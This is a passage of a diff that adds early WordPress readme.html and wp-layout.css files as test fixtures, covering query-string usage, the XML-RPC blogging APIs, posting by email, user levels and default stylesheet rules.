1st, 2001.<br />
|
||||
<br />
|
||||
index.php<strong>?w=20</strong> will display the posts from the 20th week
|
||||
of the year, where January 1st is in the first week (according to PHP).<br />
|
||||
<br />
|
||||
index.php<strong>?p=50</strong> will display the post labeled #50 in the
|
||||
database.<br />
|
||||
<br />
|
||||
index.php<strong>?s=blue+house</strong> will display the posts that match
|
||||
the search request "blue house".<br />
|
||||
here is the code for a simple search box:<br />
|
||||
<br />
|
||||
<code><form name="searchform" action="<?php echo
|
||||
$PHP_SELF ?>" method="get"><br />
|
||||
<input type="text" name="s" /><br />
|
||||
<input type="submit" name="submit" value="search"
|
||||
/><br />
|
||||
</form> </code><br />
|
||||
<br />
|
||||
index.php<strong>?cat=1</strong> will display all posts that belong to
|
||||
category #1 (1 is the default). you can add/rename/delete categories from
|
||||
b2's interface.<br />
|
||||
<br />
|
||||
index.php<strong>?author=1</strong> will display all posts from the author
|
||||
#1<br />
|
||||
<br />
|
||||
index.php<strong>?p=50&c=1</strong> will display the comments and a form
|
||||
to add a comment below the post.<br />
|
||||
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&c=1</strong>.<br />
|
||||
<br />
|
||||
index.php<strong>?p=50&tb=1</strong> will display the TrackBacks to the
|
||||
post #50.<br />
|
||||
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&tb=1</strong>.<br />
|
||||
<br />
|
||||
index.php<strong>?p=50&pb=1</strong> will display the Pingbacks to the
|
||||
post #50.<br />
|
||||
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&pb=1</strong>.<br />
|
||||
<br />
|
||||
index.php<strong>?p=50&more=1</strong> will display the extended entries'
|
||||
text. this, too, should be used only with <strong>p=</strong>, for individual
|
||||
entries.<br />
|
||||
<br />
|
||||
index.php<strong>?p=50&page=1</strong> will display the first page of
|
||||
post #50. this, again, should be used only with <strong>p=</strong>, for
|
||||
individual entries.<br />
|
||||
<br />
|
||||
You can also mix these variables, example: index.php<strong>?m=200107&s=hotdog</strong>
|
||||
will display the posts that match the search request "hotdog",
|
||||
but only in July 2001. </blockquote>
|
||||
<p> </p>
|
||||
<a name="xmlrpc"></a> <h1>XML-RPC Interface:</h1>
|
||||
<p>WordPress now has a XMLRPC interface. The only API available right now
|
||||
is the Blogger API (complete specs <a href="http://www.tswoam.co.uk/blogger_method_listing.html">here</a>).
|
||||
There are talks about a new API that would cover a lot of weblog/CMS systems
|
||||
in the future: when it's ready, WordPress will support it.</p>
|
||||
<p> The <a href="http://plant.blogger.com/api">Blogger API</a> has been
|
||||
completely emulated on WordPress, with some little differences:</p>
|
||||
<ul>
|
||||
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns
|
||||
all posts in the blog</li>
|
||||
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified
|
||||
in the config), while <em>blogger.setTemplate</em> overwrites it with
|
||||
the edited data</li>
|
||||
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1'
|
||||
and $blogname, since b2 supports only one blog as of now</li>
|
||||
</ul>
|
||||
<p>If you use blogger.newPost, your post is submitted without title and
|
||||
in category #1.</p>
|
||||
<p> However, you can type <title>my title</title> and/or <category>2<category>
|
||||
in the body of your post to make its title be 'my title' and its category
|
||||
be #2 (refer to your categories section to find out the ID numbers of
|
||||
the categories). b2 would then delete that extra info from the body of
|
||||
your post once it is posted.</p>
|
||||
<p> You can now post to your b2 blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>,
|
||||
<a href="http://bloggar.cjb.net">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a>
|
||||
(post from your Wap cellphone!), <a href="http://radio.userland.com">Radio
|
||||
Userland</a> (which means you can use Radio's email-to-blog feature),
|
||||
and other tools that support the Blogger API ! :)</p>
|
||||
<p>Your XMLRPC server/path are as described here: if you login to b2 on
|
||||
http://mydomain.com/me/b2login.php, then you have:</p>
|
||||
<ul>
|
||||
<li>server: http://example.com/me</li>
|
||||
<li>path: /me/xmlrpc.php</li>
|
||||
<li>complete URL (just in case): http://example.com/me/xmlrpc.php</li>
|
||||
</ul>
|
||||
<p>There's also a b2-specific method: b2.getCategories. Request it with
|
||||
3 strings: blog_ID (use '1'), username, password. The response is an array
|
||||
of structs with strings categoryID and categoryName.<br />
|
||||
<br />
|
||||
</p>
|
||||
<p> </p>
|
||||
<a name="postviaemail"></a> <h1>Post via Email:</h1>
|
||||
<p>You can post news from an email client!<br />
|
||||
But first you'll have to edit b2config.php, filling the appropriate values
|
||||
for your POP3 email account (this interface doesn't support IMAP yet,
|
||||
only POP3, sorry).</p>
|
||||
<p> Once you have edited the config options, you can make your webserver
|
||||
execute b2mail.php every set amount of time (depending on your host's
|
||||
performance, this script can be resource intensive, so don't make it run
|
||||
every minute or you'll be kicked).</p>
|
||||
<p>You can do it with Cron-jobs, or if your host doesn't support it you
|
||||
can look into the various website-monitoring services, and make them check
|
||||
your b2mail.php URL.</p>
|
||||
<h2> Preliminary advice:</h2>
|
||||
<p> It is strongly advised to send your email as text-only (Outlook and
|
||||
Outlook Express default to 'html', which may cause problems), but HTML
|
||||
email could work (the script would strip all your html tags though...).</p>
|
||||
<p>It is also advised not to use your public email address, but create a
|
||||
new one especially for this script. If you use your public email address
|
||||
and the script goes crazy posting every email on your blog and deleting
|
||||
all your emails, I can't take responsibility for this.</p>
|
||||
<p>Make sure you delete any email sent to your blog in your 'Sent' folder
|
||||
too, just in case (you don't want someone to find your login and password
|
||||
in the 'Sent' folder).</p>
|
||||
<p> The script will <i>delete</i> the emails that were used to post stuff
|
||||
on your weblog if it successfully posted your stuff. If it didn't manage
|
||||
to post, the email is not deleted.</p>
|
||||
<h2>How to post:</h2>
|
||||
<p>Now to post something, here's how your email should look like:</p>
|
||||
<div class="params"> <b>To:</b> address@domain.com <span style='color: #999'>(you
|
||||
set it in the config file)</span><br />
|
||||
<b>Subject:</b> blog:the post's title <span style='color: #999'>(you can
|
||||
change 'blog:' in the config file)</span><br />
|
||||
<b>Body:</b><br>
|
||||
login:password <span style='color: #999'>(example: <i>Jack:Starwars</i>)</span><br />
|
||||
The content of the post, blah blah blah.<br />
|
||||
More blah blah. ___ </div>
|
||||
<p> Subject must start with 'blog:', or any string you set in the config
|
||||
file (so that the script doesn't check EVERY email in your mailbox).</p>
|
||||
<p>Body's first line must always be login:password, else the script will
|
||||
just skip the email.<br />
|
||||
If you don't use '___' (or any body terminator that you set in the config
|
||||
file), the script will post the whole body, which is not what you want
|
||||
if you send email with Yahoo or Hotmail (you don't want their ads on your
|
||||
blog, do you ?).</p>
|
||||
<h2>Special cases for mobile phone email:</h2>
|
||||
<p> Some mobile phone service providers may allow you to send email with
|
||||
your mobile phone or PDA, but on such devices you can't always include
|
||||
line breaks. In such case, you have to set <i>$use_phoneemail = 1</i>
|
||||
in b2config.php, and then here's how you write the email:</p>
|
||||
<div class="params"> <b>To:</b> address@domain.com<br />
|
||||
<b>Subject:</b> blog:the post's title <b>:::</b><br />
|
||||
<b>Body:</b><br>
|
||||
login:password <b>:::</b> The content of the post, blah blah blah.___
|
||||
</div>
|
||||
<p>You will have to append ':::' (or whatever string you set in the config
|
||||
file) after the subject, and after the login:password.<br />
|
||||
<br />
|
||||
Some mobile phone service providers may not allow you to set a subject,
|
||||
and they'll make the subject be the first characters of the body, in which
|
||||
case you would send an email like this:</p>
|
||||
<div class="params"> <b>To:</b> address@domain.com<br />
|
||||
<b>Body:</b><br>
|
||||
blog:the post's title <b>:::</b> login:password <b>:::</b> The content
|
||||
of the post, blah blah blah.___ </div>
|
||||
<p> </p>
|
||||
<a name="notes"></a> <h1>Notes: </h1>
|
||||
<p>On multi-user:</p>
|
||||
<p>New users can register with <code>b2register.php</code>. Then you (as
|
||||
an admin) click the "+" next to their name on the Team page
|
||||
in admin to upgrade their level to 1 or more, so they can post. If you
|
||||
don't want an user to post anymore, just click "-" until their
|
||||
level is 0.</p>
|
||||
<p>Note: you can now disable users registration altogether from the config
|
||||
file.</p>
|
||||
<p><strong>Levels</strong>:</p>
|
||||
<ul>
|
||||
<li> 0 - new user: can't post.</li>
|
||||
<li>1 - user: can post & edit/delete their own posts.</li>
|
||||
<li>3 & more - admin: can post, edit/delete other people's posts,
|
||||
and change the options.</li>
|
||||
<li>Any user whose level is higher than 1, can edit/delete the posts and
|
||||
change the level of users whose level is inferior. Example: a level
|
||||
2 user is not an admin, but can edit the posts of level 1 users, and
|
||||
up the level of a new user from 0 to 1.</li>
|
||||
</ul>
|
||||
<p>Usually, you'll want to have a team of only level 1 users except you.
|
||||
;)</p>
|
||||
<p><strong>Note:</strong> you can modify a variable in b2config.php, to
|
||||
enable new users to post once they've registered.</p>
|
||||
<p>If you don't want users to register on your blog at all, just delete
|
||||
b2register.php once you've registered your user account. </p>
|
||||
<h1><br />
|
||||
Final notes:</h1>
|
||||
<ul>
|
||||
<li>WordPress is functional, but a lot of coding and code clean-up remain
|
||||
to be done.</li>
|
||||
<li>If you've got suggestions, ideas, or comments, or if you found a bug,
|
||||
why not joining us in the <a href="http://wordpress.org/support/">Support
|
||||
Forums</a>?</li>
|
||||
<li>If you can code in PHP, you'll see the structure of WordPress is flexible
|
||||
enough to allow for more functions and sections to be added.</li>
|
||||
</ul>
|
||||
<h1><br />
|
||||
Copyright notes:</h1>
|
||||
<ul>
|
||||
<li> Wherever third party code has been used, credit has been given in
|
||||
the code's comments.</li>
|
||||
<li>WordPress is released under the <acronym title="GNU Public License">GPL</acronym>
|
||||
(see license.txt).</li>
|
||||
</ul></td>
|
||||
</tr>
|
||||
</table>
|
||||
<p> </p>
|
||||
</body>
|
||||
</html>
|
||||
248
spec/fixtures/wp_versions/1.2-delta/readme.html
vendored
Executable file
248
spec/fixtures/wp_versions/1.2-delta/readme.html
vendored
Executable file
@@ -0,0 +1,248 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<title>WordPress—ReadMe</title>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
|
||||
<style type="text/css" media="screen">
|
||||
<!--
|
||||
body {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-family: Georgia, "Times New Roman", Times, serif;
|
||||
margin-left: 25%;
|
||||
margin-right: 25%;
|
||||
}
|
||||
|
||||
h1 {
|
||||
color: #006;
|
||||
font-size: 18px;
|
||||
font-weight: lighter;
|
||||
}
|
||||
|
||||
|
||||
h2 {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
.tag {
|
||||
background: #FFFF99
|
||||
color: #000;
|
||||
}
|
||||
|
||||
|
||||
|
||||
p, li {
|
||||
line-height: 140%;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
.file {
|
||||
background: #d4f5ff;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.tag {
|
||||
background: #FFFF99;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
ul, ol {
|
||||
padding: 5px 5px 5px 20px;
|
||||
}
|
||||
|
||||
.params {
|
||||
border: 1px solid #ccc;
|
||||
font: 12px arial,helvetica,sans-serif;
|
||||
margin: 5px;
|
||||
margin-left: 20px;
|
||||
margin-right: 80px;
|
||||
padding: 5px;
|
||||
}
|
||||
-->
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<p style="text-align: center"><img alt="WordPress" src="http://wordpress.org/images/wordpress.gif" /> <br />
|
||||
Version 1.0.1</p>
|
||||
<p style="text-align: center">Weblog / News Publishing Tool</p>
|
||||
<p style="text-align: center"><a href="#requirements">Requirements</a> - <a href="#installation">Installation</a> - <a href="#templates">Template(s)</a> - <a href="#usage">Query String Usage</a> - <a href="#xmlrpc">XML-RPC (Blogging APIs)</a> - <a href="#postviaemail">Post Via Email</a> - <a href="#notes">Notes</a></p>
|
||||
<h1 id="requirements">Requirements:</h1>
|
||||
<ul>
|
||||
<li><strong>PHP4</strong> (version 4.0.6 or higher)</li>
|
||||
<li><strong>MySQL</strong> (version 3.23.23 or higher)</li>
|
||||
<li>... and a link to <a href="http://wordpress.org">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<p>The link will help promote <a href="http://wordpress.org">WordPress</a> and is its only mean of promotion. </p>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2</a>, which comes from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/">donating</a>. </p>
|
||||
<p>This document is currently <em>beta</em> stage, we'll be updating it extensively as WordPress matures. There is also <a href="http://wordpress.org/docs/">online documentation</a> under development, as well as a <a href="http://wiki.wordpress.org">wiki</a>.</p>
|
||||
<h1 id="installation">Installation:</h1>
|
||||
<h2>New users: 5-minute install.</h2>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory.</li>
|
||||
<li>Upload everything. This release is designed to sit in your root folder; i.e, the folder where your WordPress-powered page will reside.</li>
|
||||
<li>(Optional) If you're going to use it, the weblogs.com cache file needs to be writable by the web server. <a href="http://www.evolt.org/article/A_quick_and_dirty_chmod_Tutorial/18/541/">CHMOD 666</a> the <span class="file"><code>wp-content/link-update-cache.xml</code></span> file. </li>
|
||||
<li>
|
||||
<p>Point your browser to <span class="file">wp-admin/install-config.php</span>. This will create a configuration file for your installation. You'll need to know your database name, username, password, and host name.</p>
|
||||
<p>Alternately, you may open <span class="file">wp-config-sample.php</span> in a text editor and insert your database name, username, password, and host name as indicated in the comments. (Comments are lines that start with <code>/*</code> or <code>//</code>.) Save this file as <span class="file">wp-config.php</span>, and upload it.</p>
|
||||
</li>
|
||||
<li> Launch <span class="file"><a href="wp-admin/install.php">/wp-admin/install.php</a></span> in your browser. This should setup the MySQL database for your blog. <strong>Note the password given to you.</strong> If there is an error, double check your <span class="file">wp-config.php</span> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/">support forums</a> and make a post with all the information about the failure (error messages, etc), and your setup (the PHP and MySQL versions on your server, and the browser you were using). </li>
|
||||
<li> The install script should then send you to the login page. Sign in with the username "admin" and the password generated during the installation. Then click on the item 'My Profile', and change the password. The login page may also be accessed by going to <span class="file"><a href="wp-login.php">wp-login.php</a></span>.</li>
|
||||
</ol>
|
||||
<h2>Some notes:</h2>
|
||||
<ul>
|
||||
<li>Whenever you want to post something, just open a browser and go to <span class="file"><a href="wp-login.php">wp-login.php</a></span> to log in and post.</li>
|
||||
<li>You can also use a bookmarklet and/or a sidebar (IE5+/NS6+) to post.</li>
|
||||
<li> You can also post through the Blogger, MetaWeblog, and MovableType APIs, <a href="#xmlrpc">click here</a> for more info.</li>
|
||||
<li> By default, your site's blog is located at <span class="file">index.php</span>, which is an elaborate .CSS-based template. There is a non-.CSS template you can also use, called <span class="file">wp.php</span>. You can rename either of these files as any other name you fancy (provided it bears the php extension or is interpreted as a php file by your server).</li>
|
||||
</ul>
|
||||
|
||||
<h2>Preface for all upgrades:</h2>
|
||||
<ul><li><strong>Back up</strong> your database before you do anything. </li>
|
||||
<li>If you haven't already, we strongly suggest that you <strong>BACK UP</strong> your database.</li>
|
||||
<li>Have you <strong>BACKED UP</strong> your database? Yeah? GREAT!</li>
|
||||
<li>If you don't know how to do this, <a href="http://wordpress.org/support/10/1384">this script</a> may help.</li>
|
||||
</ul>
|
||||
|
||||
<h2>Upgrading from any previous WordPress to v1.0.1:</h2>
|
||||
<ul>
|
||||
<li><strong>Backup your database.</strong> Yes, you. Right now.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ul>
|
||||
<h2>Note on upgrading to v1.0.1:</h2>
|
||||
<ul>
|
||||
<li>It is <strong>strongly</strong> recommended that you use the new <span class="file"> index.php</span> for your templates, rather than simply upgrading your old one. Sure, it'll take a little time, but you'll be much happier with the results when you do!</li>
|
||||
|
||||
<h2>Upgrading from b2 v0.6.1/v0.6.2.2 to WordPress v1.0.1:</h2>
|
||||
<ul>
|
||||
<li><strong>Back up</strong> your database before you do anything. Yes, you. Right now.</li>
|
||||
<li>You <em>must</em> configure <span class="file"><code>wp-config.php</code></span> as indicated in the "5-minute install" section.</li>
|
||||
<li>All you <em>really</em> have to do is replace all the files with newer versions and run <span class="file">wp-admin/upgrade.php</span> and you should be ready to go.</li>
|
||||
<li>There is also an import script at <span class="file">wp-admin/import-b2.php</span>.</li>
|
||||
<li>If you're using an older version of b2, it's probably a good idea to upgrade to at least .6.1 before making the leap to WordPress.</li>
|
||||
<li>The templates are better and structured slightly differently, so it might be worth it to start from scratch and work back to your design.</li>
|
||||
<li>WordPress issues should be discussed in our <a href="http://wordpress.org/support/">support forums</a>.</li>
|
||||
</ul>
|
||||
|
||||
<h2>Upgrading to WordPress v1.0.1 from Movable Type, Textpattern, GreyMatter, & Blogger</h2>
|
||||
<ul>
|
||||
<li>Did we mention <strong>BACKING UP</strong> your database first?</li>
|
||||
<li>Each of these tools has an import script available. They are all located in the wp-admin directory, and must first be configured with your database information before they are executed.
|
||||
<li>Detailed importing instructions are given during the execution of the import script.
|
||||
<li>Textpattern: run <span class="file"><a href="wp-admin/import-textpattern.php">wp-admin/import-textpattern.php</a></span>.</li>
|
||||
<li>GreyMatter: run <span class="file"><a href="wp-admin/import-greymatter.php">wp-admin/import-greymatter.php</a></span>.</li>
|
||||
<li>Blogger: run <span class="file"><a href="wp-admin/import-blogger.php">wp-admin/import-blogger.php</a></span>.</li>
|
||||
<li>Movable Type: run <a href="wp-admin/import-mt.php" class="file">wp-admin/import-mt.php</a>. </li>
|
||||
</ul>
|
||||
|
||||
<h1 id="templates">Templates:</h1>
|
||||
<p>For information about WordPress templates, please see our <a href="http://wordpress.org/docs/template/">online documentation on them</a>. </p>
|
||||
<h2>First notes:</h2>
|
||||
<h1 id="usage">Query String Usage:</h1>
|
||||
<p>WordPress relies a lot on the query string. These variables passed with the URL (note: to pass variables in the querystring, preceed the first variable name with a '?' question mark and every other variables with a '&' sign.)</p>
|
||||
<p>Most of the time you won't have to do anything about it, but if you want to know how it works, it's here:</p>
|
||||
<p>How to use the query string:</p>
|
||||
<p>index.php<strong>?m=200107</strong> will display the month of July 2001.</p>
|
||||
<p>index.php<strong>?m=20010701</strong> will display all posts from July 1st, 2001.</p>
|
||||
<p>index.php<strong>?w=20</strong> will display the posts from the 20th week of the year, where January 1st is in the first week (according to PHP).</p>
|
||||
<p>index.php<strong>?p=50</strong> will display the post labeled #50 in the database.</p>
|
||||
<p>index.php<strong>?s=blue+house</strong> will display the posts that match the search request "blue house".<br />
|
||||
here is the code for a simple search box:</p>
|
||||
<p><code><form name="searchform" action="<?php echo $PHP_SELF ?>" method="get"><br />
|
||||
<input type="text" name="s" /><br />
|
||||
<input type="submit" name="submit" value="search" /><br />
|
||||
</form> </code></p>
|
||||
<p>index.php<strong>?cat=1</strong> will display all posts that belong to category #1 (1 is the default). you can add/rename/delete categories from WordPress's interface.</p>
|
||||
<p>index.php<strong>?author=1</strong> will display all posts from the author #1</p>
|
||||
<p>index.php<strong>?p=50&c=1</strong> will display the comments and a form to add a comment below the post.<br />
|
||||
you should use this variable only with <strong>p=</strong>, example: index.php<strong>?p=50&c=1</strong>.</p>
|
||||
<p>index.php<strong>?p=50&page=1</strong> will display the first page of post #50. this, again, should be used only with <strong>p=</strong>, for individual entries.</p>
|
||||
<p>You can also mix these variables, example: index.php<strong>?m=200107&s=hotdog</strong> will display the posts that match the search request "hotdog", but only in July 2001.</p>
|
||||
<h1 id="xmlrpc">XML-RPC Interface:</h1>
|
||||
<p>WordPress has an XMLRPC interface. Currently supported APIs are the <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a>, <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog API</a>, and the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a>. There are talks about a new API that would cover a lot of weblog/CMS systems in the future: when it's ready, WordPress will support it.</p>
|
||||
<p> The <a href="http://www.blogger.com/developers/api/1_docs/">Blogger API</a> has been completely emulated on WordPress, with some little differences:</p>
|
||||
<ul>
|
||||
<li>using <em>blogger.getRecentPosts</em> with the number 'zero' returns all posts in the blog</li>
|
||||
<li><em>blogger.getTemplate</em> fetches your file $blogfilename (as specified in the config), while <em>blogger.setTemplate</em> overwrites it with the edited data</li>
|
||||
<li><em>blogger.getUsersBlogs</em> is a dummy function that returns '1' and $blogname, since WordPress supports only one blog as of now</li>
|
||||
</ul>
|
||||
<p>If you use blogger.newPost, your post is submitted without title and in category #1.</p>
|
||||
<p> However, you can type <title>my title</title> and/or <category>2<category> in the body of your post to make its title be 'my title' and its category be #2 (refer to your categories section to find out the ID numbers of the categories). b2 would then delete that extra info from the body of your post once it is posted.</p>
|
||||
<p>The <a href="http://www.xmlrpc.com/metaWeblogApi">metaWeblog</a> and <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType</a> APIs are currently supported with the following exceptions:</p>
|
||||
<ul>
|
||||
<li>metaWeblog.newMediaObject, mt.getRecentPostTitles, and mt.getTrackbackPings are not yet implemented</li>
|
||||
<li>mt.supportedTextFilters is a dummy stub function that returns an empty string</li>
|
||||
<li>keywords are not supported in the MovableType API</li>
|
||||
</ul>
|
||||
<br />
|
||||
Extended entries in the <a href="http://www.movabletype.org/docs/mtmanual_programmatic.html">MovableType API</a> are automatically converted to/from the WordPress <!--more--> tag.<br />
|
||||
<p>You can now post to your WordPress blog with tools like <a href="http://blogbuddy.sourceforge.net">BlogBuddy</a>, <a href="http://bloggar.com/">Bloggar</a>, <a href="http://www.ubique.ch/wapblogger/">WapBlogger</a> (post from your Wap cellphone!), <a href="http://radio.userland.com">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.zempt.com/">Zempt</a>, <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the Blogging APIs! :)</p>
|
||||
<p>Your XMLRPC server/path are as described here: if you login to WordPress on http://example.com/me/wp-login.php, then you have:</p>
|
||||
<ul>
|
||||
<li>server: http://example.com/ (some tools will just want the 'example.com' hostname part)</li>
|
||||
<li>path: /me/xmlrpc.php</li>
|
||||
<li>complete URL (just in case): http://example.com/me/xmlrpc.php</li>
|
||||
</ul>
|
||||
<p>There's also a b2-specific method: b2.getCategories. Request it with 3 strings: blog_ID (use '1'), username, password. The response is an array of structs with strings categoryID and categoryName.</p>
|
||||
<h1 id="postviaemail">Post via Email:</h1>
|
||||
<p>You can post news from an email client!<br />
|
||||
But first you'll have to edit the options on the options screen, filling the appropriate values for your POP3 email account (this interface doesn't support IMAP yet, only POP3, sorry).</p>
|
||||
<p> Once you have edited the options, you can make your webserver execute wp-mail.php every set amount of time (depending on your host's performance, this script can be resource intensive, so don't make it run every minute or you'll be kicked).</p>
|
||||
<p>You can do it with Cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.</p>
|
||||
<h2> Preliminary advice:</h2>
|
||||
<p> It is strongly advised to send your email as text-only (Outlook and Outlook Express default to 'html', which may cause problems), but HTML email could work (the script would strip all your html tags though...).</p>
|
||||
<p>It is also advised not to use your public email address, but create a new one especially for this script. If you use your public email address and the script goes crazy posting every email on your blog and deleting all your emails, I can't take responsibility for this.</p>
|
||||
<p>Make sure you delete any email sent to your blog in your 'Sent' folder too, just in case (you don't want someone to find your login and password in the 'Sent' folder).</p>
|
||||
<p> The script will <i>delete</i> the emails that were used to post stuff on your weblog if it successfully posted your stuff. If it didn't manage to post, the email is not deleted.</p>
|
||||
<h2>How to post:</h2>
|
||||
<p>Now to post something, here's how your email should look like:</p>
|
||||
<div class="params"> <b>To:</b> address@example.com <span
|
||||
|
||||
style="color: rgb(153, 153, 153);">(you set it in the config file)</span><br />
|
||||
<b>Subject:</b> blog:the post's title <span
|
||||
|
||||
style="color: rgb(153, 153, 153);">(you can change 'blog:' in the config file)</span><br />
|
||||
<b>Body:</b><br />
|
||||
login:password <span style="color: rgb(153, 153, 153);">(example: <i>Jack:Starwars</i>)</span><br />
|
||||
The content of the post, blah blah blah.<br />
|
||||
More blah blah. ___ </div>
|
||||
<p> Subject must start with 'blog:', or any string you set in the config file (so that the script doesn't check EVERY email in your mailbox).</p>
|
||||
<p>Body's first line must always be login:password, else the script will just skip the email.</p>
|
||||
<p> If you don't use '___' (or any body terminator that you set in the config file), the script will post the whole body, which is not what you want if you send email with Yahoo or Hotmail (you don't want their ads on your blog, do you ?).</p>
|
||||
<h2>Special cases for mobile phone email:</h2>
|
||||
<p> Some mobile phone service providers may allow you to send email with your mobile phone or PDA, but on such devices you can't always include line breaks. In such case, you have to set <i>use_phoneemail = true</i> in the options, and then here's how you write the email:</p>
|
||||
<div class="params"> <b>To:</b> address@example.com<br />
|
||||
<b>Subject:</b> blog:the post's title <b>:::</b><br />
|
||||
<b>Body:</b><br />
|
||||
login:password <b>:::</b> The content of the post, blah blah blah.___ </div>
|
||||
<p>You will have to append ':::' (or whatever string you set in the config file) after the subject, and after the login:password.</p>
|
||||
<p>Some mobile phone service providers may not allow you to set a subject, and they'll make the subject be the first characters of the body, in which case you would send an email like this:</p>
|
||||
<div class="params"> <b>To:</b> address@example.com<br />
|
||||
<b>Body:</b><br />
|
||||
blog:the post's title <b>:::</b> login:password <b>:::</b> The content of the post, blah blah blah.___ </div>
|
||||
<h1 id="notes">Notes:</h1>
|
||||
<p>On multi-user:</p>
|
||||
<p>New users can register with <span class="file">wp-register.php</span>. Then you (as an admin) click the "+" next to their name on the Team page in admin to upgrade their level to 1 or more, so they can post. If you don't want an user to post anymore, just click "-" until their level is 0.</p>
|
||||
<p>Note: you can now disable users registration altogether from the config file.</p>
|
||||
<p><strong>User Levels</strong>:</p>
|
||||
<ul>
|
||||
<li>0 - new user: can't post.</li>
|
||||
<li>1 - user: can post & edit/delete their own posts.</li>
|
||||
<li>3 & higher - admin: can post, edit/delete other people's posts, and change the options.</li>
|
||||
<li>Any user whose level is higher than 1, can edit/delete the posts and change the level of users whose level is inferior. Example: a level 2 user is not an admin, but can edit the posts of level 1 users, and up the level of a new user from 0 to 1.</li>
|
||||
</ul>
|
||||
<p>Usually, you'll want to have a team of only level 1 users except you. ;)</p>
|
||||
<p><strong>Note:</strong> you can modify an option on the option screens, to enable new users to post once they've registered.</p>
|
||||
<p>If you don't want users to register on your blog at all, just delete wp-register.php once you've registered your user account. </p>
|
||||
<h1> Final notes:</h1>
|
||||
<ul>
|
||||
<li>If you've got suggestions, ideas, or comments, or if you found a bug, why not joining us in the <a href="http://wordpress.org/support/">Support Forums</a>?</li>
|
||||
<li>If you can code in PHP, you'll see the structure of WordPress is flexible enough to allow for more functions and sections to be added.</li>
|
||||
</ul>
|
||||
<h1>Copyright notes:</h1>
|
||||
<ul>
|
||||
<li>Wherever third party code has been used, credit has been given in the code’s comments.</li>
|
||||
<li>WordPress is released under the <acronym title="GNU Public License">GPL</acronym> (see license.txt).</li>
|
||||
</ul>
|
||||
</body>
|
||||
</html>
|
||||
302
spec/fixtures/wp_versions/1.2-delta/wp-layout.css
vendored
Executable file
302
spec/fixtures/wp_versions/1.2-delta/wp-layout.css
vendored
Executable file
@@ -0,0 +1,302 @@
|
||||
/* Default WordPress by Dave Shea || http://mezzoblue.com
|
||||
Modifications by Matthew Mullenweg || http://photomatt.net
|
||||
This is just a basic layout, with only the bare minimum defined.
|
||||
Please tweak this and make it your own. :)
|
||||
*/
|
||||
|
||||
a {
|
||||
color: #675;
|
||||
}
|
||||
|
||||
a img {
|
||||
border: none;
|
||||
}
|
||||
|
||||
a:visited {
|
||||
color: #342;
|
||||
}
|
||||
|
||||
a:hover {
|
||||
color: #9a8;
|
||||
}
|
||||
|
||||
acronym, abbr {
|
||||
border-bottom: 1px dashed #333;
|
||||
}
|
||||
|
||||
acronym, abbr, span.caps {
|
||||
cursor: help;
|
||||
font-size: 90%;
|
||||
letter-spacing: .07em;
|
||||
}
|
||||
|
||||
blockquote {
|
||||
border-left: 5px solid #ccc;
|
||||
margin-left: 1.5em;
|
||||
padding-left: 5px;
|
||||
}
|
||||
|
||||
body {
|
||||
background: #fff;
|
||||
border: solid 2px #565;
|
||||
border-bottom: solid 1px #565;
|
||||
border-top: solid 3px #565;
|
||||
color: #000;
|
||||
font-family: 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
cite {
|
||||
font-size: 90%;
|
||||
font-style: normal;
|
||||
}
|
||||
|
||||
h2 {
|
||||
border-bottom: 1px dotted #ccc;
|
||||
font: 95% "Times New Roman", Times, serif;
|
||||
letter-spacing: 0.2em;
|
||||
margin: 15px 0 2px 0;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
h3 {
|
||||
border-bottom: dotted 1px #eee;
|
||||
font-family: "Times New Roman", Times, serif;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
ol#comments li p {
|
||||
font-size: 100%;
|
||||
}
|
||||
|
||||
p, li, .feedback {
|
||||
font: 90%/175% 'Lucida Grande', 'Lucida Sans Unicode', Verdana, sans-serif;
|
||||
letter-spacing: -1px;
|
||||
}
|
||||
|
||||
/* classes used by the_meta() */
|
||||
ul.post-meta {
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
ul.post-meta span.post-meta-key {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.credit {
|
||||
background: #90a090;
|
||||
border-top: double 3px #aba;
|
||||
color: #fff;
|
||||
font-size: 11px;
|
||||
margin: 10px 0 0 0;
|
